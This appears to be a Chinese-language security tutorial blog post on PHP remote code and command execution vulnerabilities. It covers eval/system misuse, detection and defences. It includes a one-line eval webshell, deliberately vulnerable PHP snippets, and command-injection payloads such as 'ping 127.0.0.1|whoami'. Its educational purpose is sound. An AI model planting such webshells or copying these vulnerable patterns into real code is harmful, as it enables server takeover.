RCE(远程代码/命令执行漏洞)

代码执行

原理

运用脚本语言,去进行一些代码的执行

举例

执行函数:eval() assert()
​
假设网站有eval()这个函数的话,
<?php
$code=$get['x']
echo eval($code)
>
假设在x输入phpinfo()这个函数,eval函数是把里面的字符串按照php代码来计算,那么就会执行phpinfo()的函数代码

检测

黑盒测试:1,漏扫工具 2,公开漏洞 3,手工有参数及功能点(例如url中有echo id=这样的就可以考虑代码执行,但是假设是echo `$get[a]`的话就要考虑是命令执行,因为``在linux中会先执行``里面的语句,再执行外面的语句,get[a]中a输入ls,那么会执行ls的语句,再将ls执行的语句进行一个echo的输出

产生

web源码
thinkphp eyoucms wordpress
​
中间件
Tomcat Apache strusts redis
​
其他环境
PHP-CGI Jenkins-CI Java RMI

防御

1,敏感函数的禁用
2,变量过滤或固定
3,WAF产品

一句话后面webshell(菜刀的原理)

一句话是:
<?php @eval($_post['chopper']?>
将需要执行的php代码赋予给chopper,那么就会进行代码执行,比如说将打开一个文件写一个php的代码,并进行编码,将这个编码值传递给chopper,那么就会进行代码执行,打开这个文件
​
@的作用是不显示错误,当出现错误时不会显示

命令执行

原理

# 执行函数
system() exec() ``反引号()
​
# 命令执行分隔符
windows: &&  ||  &  | 
linux:   &&   ||   &  |    ;
​
# windows
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
​
# linux
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
​
​
​
根据系统的不同,例如linux和windows,例如windows的cmd功能,可以根据这个来进行命令执行
<?php
$code=$get['x']
echo system($code)
>
假设在x处输入ipconfig,system()函数的作用是执行外部程序并显示输出资料,会执行cmd程序的代码,那么输入ipconfig就会显示出ip的一些信息
​

举例

假设是inux系统,要求Ping一个地址,当网页限制输入只能输入ip地址时,可以运用linux管道符 “|”,管道符用于多条命令的处理,这时候可以抓包将数据改成ip地址|ls
​

产生

web源码
Nexus webmin ElasticSearch

中间件平台
Webblogic Apache 

其他环境
Postgresql samba supervisord

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值